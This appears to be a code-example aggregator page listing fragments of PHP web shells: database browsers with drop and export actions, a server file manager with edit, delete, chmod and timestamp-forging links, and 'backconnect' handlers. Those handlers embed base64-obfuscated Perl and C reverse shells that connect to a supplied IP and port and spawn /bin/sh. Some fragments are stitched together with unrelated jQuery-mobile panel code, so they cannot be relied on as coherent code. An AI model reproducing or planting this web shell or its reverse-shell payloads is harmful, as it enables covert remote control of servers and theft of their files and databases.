Exemplo n.º 1
0
                    p('<td>' . $table['Create_time'] . '</td>');
                    p('<td>' . $table['Update_time'] . '</td>');
                    if ($highver) {
                        p('<td>' . $table['Engine'] . '</td>');
                        p('<td>' . $table['Collation'] . '</td>');
                    }
                    p('</tr>');
                }
                p('<tr class="' . bg() . '">');
                p('<td>&nbsp;</td>');
                p('<td>Total tables: ' . $table_num . '</td>');
                p('<td>' . $table_rows . '</td>');
                p('<td>' . $data_size . '</td>');
                p('<td colspan="' . ($highver ? 4 : 2) . '">&nbsp;</td>');
                p('</tr>');
                p('<tr class="' . bg() . '"><td colspan="' . ($highver ? 8 : 6) . '"><input name="saveasfile" value="1" type="checkbox" /> Save as file <input class="input" name="path" value="' . F_ROOT . $_SERVER['HTTP_HOST'] . '_MySQL.sql" type="text" size="60" /> <input class="bt" type="submit" name="downrar" value="Export selection table" /></td></tr>');
                makehide('doing', 'backupmysql');
                p("</form>\n</table>");
                fr($query);
            }
        }
    }
    tbfoot();
    mysql_close($lnk);
} elseif ($haz == 'bconx') {
    !$yourip && ($yourip = $_SERVER['REMOTE_ADDR']);
    !$yourport && ($yourport = '12345');
    $usedb = array('perl' => 'perl', 'c' => 'c');
    $rv_connect = "IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj" . "aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR" . "hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT" . "sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI" . "kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi" . "KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl" . "OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
    $rv_connect_c = "I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC" . "BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb" . "SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd" . "KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ" . "sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC" . "Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D" . "QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp" . "Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";
    if ($start && $yourip && $yourport && $use) {
Exemplo n.º 2
0
                    p('<tr class="head">');
                    p('<td>Name</td>');
                    p('<td>Owner</td>');
                    p('<td>Create_time</td>');
                    p('<td>Operate</td>');
                    p('</tr>');
                    foreach ($tabledb as $key => $table) {
                        $thisbg = bg();
                        p('<tr class="' . $thisbg . '" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'' . $thisbg . '\';">');
                        p('<td><a href="javascript:settable(\'' . $table['owner'] . '.' . $table['name'] . '\');">' . $table['name'] . '</a></td>');
                        p('<td>' . $table['owner'] . '</td>');
                        p('<td>' . $table['crdate'] . '</td>');
                        p('<td><a href="javascript:settable(\'' . $dbname . '.' . $table['name'] . '\', \'insert\');">Insert</a> | <a href="javascript:settable(\'' . $dbname . '.' . $table['name'] . '\', \'structure\');">Structure</a> | <a href="javascript:settable(\'' . $dbname . '.' . $table['name'] . '\', \'drop\');">Drop</a></td>');
                        p('</tr>');
                    }
                    p('<tr class=' . bg() . '>');
                    p('<td>Total tables: ' . $table_num . '</td>');
                    p('<td colspan="3"></td>');
                    p('</tr>');
                    p("</table>");
                    msfr($query);
                }
            }
        }
    }
    tbfoot();
    if ($alreadymssql) {
        @mssql_close();
    }
} elseif ($action == 'backconnect') {
    !$yourip && ($yourip = $_SERVER['REMOTE_ADDR']);
            p('<td nowrap>' . $filedb['mtime'] . '</td>');
            p('<td nowrap>' . $filedb['size'] . '</td>');
            p('<td nowrap>');
            p('<a href="javascript:fileperm(\'' . $filedb['server_link'] . '\');">' . $filedb['filechmod'] . '</a> / ');
            p('<a href="javascript:fileperm(\'' . $filedb['server_link'] . '\');">' . $filedb['fileperm'] . '</a>' . $filedb['fileowner'] . '</td>');
            p('<td nowrap>');
            p('<a href="javascript:dofile(\'downfile\',\'' . $filedb['server_link'] . '\');">Down</a> | ');
            p('<a href="javascript:copyfile(\'' . $filedb['server_link'] . '\');">Copy</a> | ');
            p('<a href="javascript:opfile(\'editfile\',\'' . $filedb['server_link'] . '\',\'' . $filedb['dirlink'] . '\');">Edit</a> | ');
            p('<a href="javascript:rename(\'' . $filedb['server_link'] . '\');">Rename</a> | ');
            p('<a href="javascript:opfile(\'newtime\',\'' . $filedb['server_link'] . '\',\'' . $filedb['dirlink'] . '\');">Time</a>');
            p('</td></tr>');
            $file_i++;
        }
    }
    p('<tr class="' . bg() . '"><td align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td><td><a href="javascript:dofile(\'delfiles\');">Delete selected</a></td><td colspan="4" align="right">' . $dir_i . ' directories / ' . $file_i . ' files</td></tr>');
    p('</form></table>');
} elseif ($action == 'editfile') {
    if (file_exists($opfile)) {
        $fp = @fopen($opfile, 'r');
        $contents = @fread($fp, filesize($opfile));
        @fclose($fp);
        $contents = htmlspecialchars($contents);
    }
    formhead(array('title' => 'Create / Edit File'));
    makehide('action', 'file');
    makehide('dir', $nowpath);
    makeinput(array('title' => 'Current File (import new file name and new file)', 'name' => 'editfilename', 'value' => $opfile, 'newline' => 1));
    maketext(array('title' => 'File Content', 'name' => 'filecontent', 'value' => $contents));
    formfooter();
    goback();
Exemplo n.º 4
0
                    p('<td>' . $table['Create_time'] . '</td>');
                    p('<td>' . $table['Update_time'] . '</td>');
                    if ($highver) {
                        p('<td>' . $table['Engine'] . '</td>');
                        p('<td>' . $table['Collation'] . '</td>');
                    }
                    p('</tr>');
                }
                p('<tr class=' . bg() . '>');
                p('<td>&nbsp;</td>');
                p('<td>Total tables: ' . $table_num . '</td>');
                p('<td>' . $table_rows . '</td>');
                p('<td>' . $data_size . '</td>');
                p('<td colspan="' . ($highver ? 4 : 2) . '">&nbsp;</td>');
                p('</tr>');
                p("<tr class=\"" . bg() . "\"><td colspan=\"" . ($highver ? 8 : 6) . "\"><input name=\"saveasfile\" value=\"1\" type=\"checkbox\" /> Save as file <input class=\"input\" name=\"path\" value=\"" . SA_ROOT . $_SERVER['HTTP_HOST'] . "_MySQL.sql\" type=\"text\" size=\"60\" /> <input class=\"bt\" type=\"submit\" name=\"downrar\" value=\"Export selection table\" /></td></tr>");
                makehide('doing', 'backupmysql');
                formfoot();
                p("</table>");
                fr($query);
            }
        }
    }
    tbfoot();
    @mysql_close();
} elseif ($action == 'backconnect') {
    !$yourip && ($yourip = $_SERVER['REMOTE_ADDR']);
    !$yourport && ($yourport = '12345');
    $usedb = array('perl' => 'perl', 'c' => 'c');
    $back_connect = "IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj" . "aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR" . "hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT" . "sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI" . "kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi" . "KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl" . "OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
    $back_connect_c = "I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC" . "BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb" . "SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd" . "KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ" . "sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC" . "Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D" . "QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp" . "Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";
Exemplo n.º 5
0
                p('<td>Create_time</td>');
                p('<td>Update_time</td>');
                if ($highver) {
                    p('<td>Engine</td>');
                    p('<td>Collation</td>');
                }
                p('<td>Operate</td>');
                p('</tr>');
                p('<tr class=' . bg() . '>');
                p('<td>&nbsp;</td>');
                p('<td>Total tables: ' . $table_num . '</td>');
                p('<td>' . $table_rows . '</td>');
                p('<td>' . $data_size . '</td>');
                p('<td colspan="' . ($highver ? 5 : 3) . '">&nbsp;</td>');
                p('</tr>');
                p("<tr class=\"" . bg() . "\"><td colspan=\"" . ($highver ? 9 : 7) . "\"><input name=\"saveasfile\" value=\"1\" type=\"checkbox\" /> Save as file <input class=\"input\" name=\"path\" value=\"" . SA_ROOT . $dbname . ".sql\" type=\"text\" size=\"60\" /> <input class=\"bt\" type=\"submit\" value=\"Export selection table\" /></td></tr>");
                makehide('doing', 'backupmysql');
                formfoot();
                p("</table>");
                fr($query);
            }
        }
    }
    tbfoot();
    @mysql_close();
} elseif ($action == 'backconnect') {
    !$yourip && ($yourip = $_SERVER['REMOTE_ADDR']);
    !$yourport && ($yourport = '12345');
    $usedb = array('perl' => 'perl', 'c' => 'c');
    $back_connect = "IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj" . "aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR" . "hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT" . "sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI" . "kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi" . "KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl" . "OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
    $back_connect_c = "I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC" . "BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb" . "SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd" . "KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ" . "sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC" . "Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D" . "QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp" . "Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";
                        p('</tr>');
                    }
                    p('<tr class="head">');
                    p('<td width="2%">&nbsp;</td>');
                    p('<td>' . $table_num . ' table(s)</td>');
                    p('<td>' . $table_rows . '</td>');
                    p('<td>' . $data_size . '</td>');
                    p('<td>&nbsp;</td>');
                    p('<td>&nbsp;</td>');
                    if ($highver) {
                        p('<td>' . $db_engine['Value'] . '</td>');
                        p('<td>' . $db_collation['Value'] . '</td>');
                    }
                    p('<td>&nbsp;</td>');
                    p('</tr>');
                    p("<tr class=\"" . bg() . "\"><td colspan=\"" . ($highver ? 9 : 7) . "\"><input name=\"saveasfile\" value=\"1\" type=\"checkbox\" /> Save as file <input class=\"input\" name=\"bak_path\" value=\"" . SA_ROOT . $dbname . ".sql\" type=\"text\" size=\"60\" /> <input class=\"bt\" type=\"button\" value=\"Export selection table\" onclick=\"\$('doing').value='dump';\$('dbform').submit();\" /></td></tr>");
                    p("</table>");
                } else {
                    p('<p class="red b">No tables</p>');
                }
                $DB->free_result($query);
            }
        }
        $DB->close();
    }
    formfoot();
} elseif ($act == 'backconnect') {
    !$p2 && ($p2 = $_SERVER['REMOTE_ADDR']);
    !$p3 && ($p3 = '12345');
    $usedb = array('perl' => 'perl', 'c' => 'c');
    $back_connect = "IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj" . "aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR" . "hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT" . "sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI" . "kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi" . "KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl" . "OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
Exemplo n.º 7
0
 makehide('action', 'sqladmin');
 p($dbform);
 p('<tr class="head">');
 p('<td width="2%" align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td>');
 p('<td>Name</td>');
 p('<td>Rows</td>');
 p('<td>Data_length</td>');
 p('<td>Create_time</td>');
 p('<td>Update_time</td>');
 if ($highver) {
     p('<td>Engine</td>');
     p('<td>Collation</td>');
 }
 p('</tr>');
 foreach ($tabledb as $key => $table) {
     $thisbg = bg();
     p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
     p('<td align="center" width="2%"><input type="checkbox" name="table[]" value="' . $table['Name'] . '" /></td>');
     p('<td><a href="javascript:settable(\'' . $table['Name'] . '\');">' . $table['Name'] . '</a> [ <a href="javascript:settable(\'' . $table['Name'] . '\', \'insert\');">Insert</a> | <a href="javascript:settable(\'' . $table['Name'] . '\', \'structure\');">Structure</a> | <a href="javascript:settable(\'' . $table['Name'] . '\', \'drop\');">Drop</a> ]</td>');
     p('<td>' . $table['Rows'] . '</td>');
     p('<td>' . $table['Data_length'] . '</td>');
     p('<td>' . $table['Create_time'] . '</td>');
     p('<td>' . $table['Update_time'] . '</td>');
     if ($highver) {
         p('<td>' . $table['Engine'] . '</td>');
         p('<td>' . $table['Collation'] . '</td>');
     }
     p('</tr>');
 }
 p('<tr class=fout>');
 p('<td>&nbsp;</td>');
     } else {
         $htmlbg = '';
     }
     return $htmlbg;
 }
 $panelbg = bg($_POST[panelbg]);
 $sltarea = bg($_POST[sltarea]);
 $pricebg = bg($_POST[pricebg]);
 $tpricebg = bg($_POST[tpricebg]);
 $nbrkey = bg($_POST[nbrkey]);
 $nbrbtn = bg($_POST[nbrbtn]);
 $frbtn = bg($_POST[frbtn]);
 $userbtn = bg($_POST[userbtn]);
 $sendformbtn = bg($_POST[sendformbtn]);
 $ordbtnbg = bg($_POST[ordbtnbg]);
 $bghlp = bg($_POST[bghlp]);
 if ($_POST[ord]) {
     $ord = htmlspecialchars($_POST[ord]);
 } else {
     $ord = '&nbsp;';
 }
 if ($_POST[sendform]) {
     $sendhtml = htmlspecialchars($_POST[sendform]);
 } else {
     $sendhtml = '&nbsp;';
 }
 $panelhtml = '<!--panelvws' . $ap . '!--><div data-role="popup" id="' . $pj . $ap . 'vw" data-theme="a" data-typ="' . htmlspecialchars($_POST['typ']) . '" style="' . $panelbg . 'padding:5px;height: 100%;width: 100%;top:0;left:-15px;overflow-y:hidden;" class="ifrwidthpn"><!--data' . htmlspecialchars($_POST[sendform]) . '@#@' . htmlspecialchars($_POST[sendformbtn]) . '@#@' . htmlspecialchars($_POST['ord']) . '@#@' . htmlspecialchars($_POST[ordbtnbg]) . '@#@' . htmlspecialchars($_POST[formhtml]) . '@#@' . htmlspecialchars($_POST[user]) . '@#@' . htmlspecialchars($_POST[userbtn]) . '@#@' . htmlspecialchars($_POST[userborder]) . '@#@' . htmlspecialchars($_POST[nbrkey]) . '@#@' . htmlspecialchars($_POST[nbrbtn]) . '@#@' . htmlspecialchars($_POST[frbtn]) . '@#@' . htmlspecialchars($_POST[clrdatabtn]) . '@#@' . htmlspecialchars($_POST[hlpbtn]) . '@#@' . htmlspecialchars($_POST[bghlp]) . '@#@' . htmlspecialchars($_POST[bghlpn]) . '@#@' . htmlspecialchars($_POST[panelbg]) . '@#@' . htmlspecialchars($_POST[pricebg]) . '@#@' . htmlspecialchars($_POST[tpricebg]) . '@#@' . htmlspecialchars($_POST[sltarea]) . '@#@' . htmlspecialchars($_POST[tmsg]) . '@#@' . htmlspecialchars($_POST[times]) . '@#@' . htmlspecialchars($_POST[plus]) . '@#@' . htmlspecialchars($_POST[plusn]) . '@#@' . htmlspecialchars($_POST[plusmsg]) . '@#@' . htmlspecialchars($_POST[uconfirmbtn]) . '@#@' . htmlspecialchars($_POST[uamendbtn]) . '@#@' . htmlspecialchars($_POST[udatabtn]) . '@#@' . htmlspecialchars($_POST[uclrbtn]) . '@#@' . htmlspecialchars($_POST[nbrkeytitle]) . '@#@' . htmlspecialchars($_POST[frbtntitle]) . '@#@' . htmlspecialchars($_POST[typ]) . '@#@' . htmlspecialchars($_POST[orderinfo]) . '@#@' . htmlspecialchars($_POST[posturl]) . 'data!--><div class="webkitm" style="overflow-y:auto">';
 if (($_POST[sendform] == 'apps' or $_POST[sendform] == 'appsqr') and $_POST[ord] == 'apps' and $_POST[user] == 'apps' and $_POST[hlpbtn] == 'apps') {
     $panelhtml .= '<a href="#" id="' . $pj . $ap . 'panelpop" class="ui-btn ui-btn-z ui-btn-inline ui-btn-icon-notext ui-icon-delete" style="padding:5px;">&nbsp;</a>';
 } else {
     //if(($_POST[bghlpn] or $_POST[hlpbtn]) and $_POST[user])$vpanel = 'vpanel ';
Exemplo n.º 9
0
    p('<tr class="' . $thisbg . '" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'' . $thisbg . '\';">');
    p('<td width="2%" nowrap><input name="dl[]" type="checkbox" value="' . $filedb['filename'] . '"></td>');
    p('<td>' . (strpos($filedb['link'], $web_cwd) !== false ? '<a href="' . $fileurl . '" target="_blank">' . $filedb['filename'] . '</a>' : $filedb['filename']) . '</td>');
    p('<td nowrap><a href="javascript:g(\'newtime\',null,\'' . $filedb['filename'] . '\');">' . $filedb['mtime'] . '</a></td>');
    p('<td nowrap>' . sizecount($filedb['size']) . '</td>');
    p('<td nowrap>');
    p('<a href="javascript:fileperm(\'' . $filedb['filename'] . '\', \'' . $filedb['chmod'] . '\');">' . $filedb['chmod'] . '</a> / ');
    p('<a href="javascript:fileperm(\'' . $filedb['filename'] . '\', \'' . $filedb['chmod'] . '\');">' . $filedb['perm'] . '</a>' . $filedb['owner'] . '</td>');
    p('<td nowrap>');
    p('<a href="javascript:g(\'down\',null,\'' . $filedb['filename'] . '\');">Down</a> | ');
    p('<a href="javascript:g(\'editfile\',null,null,\'' . $filedb['filename'] . '\');">Edit</a> | ');
    p('<a href="javascript:rename(\'' . $filedb['filename'] . '\');">Rename</a>');
    p('</td></tr>');
    $file_i++;
}
p('<tr class="' . bg() . ' head"><td colspan="5"><a href="#" onclick="$(\'flist\').p1.value=\'delete\';$(\'flist\').submit();">Delete</a> | <a href="#" onclick="$(\'flist\').p1.value=\'copy\';$(\'flist\').submit();">Copy</a> | <a href="#" onclick="$(\'flist\').p1.value=\'move\';$(\'flist\').submit();">Move</a>' . (isset($_SESSION['do']) && @count($_SESSION['dl']) ? ' | <a href="#" onclick="$(\'flist\').p1.value=\'paste\';$(\'flist\').submit();">Paste</a>' : '') . '</td><td align="right">' . $dir_i . ' directories / ' . $file_i . ' files</td></tr>');
p('</form></table>');
function getChmod($file)
{
    return substr(base_convert(@fileperms($file), 10, 8), -4);
}
function PermsColor($f)
{
    if (!is_readable($f)) {
        return '<span class="red">' . getPerms($f) . '</span>';
    } elseif (!is_writable($f)) {
        return '<span class="black">' . getPerms($f) . '</span>';
    } else {
        return '<span class="green">' . getPerms($f) . '</span>';
    }
}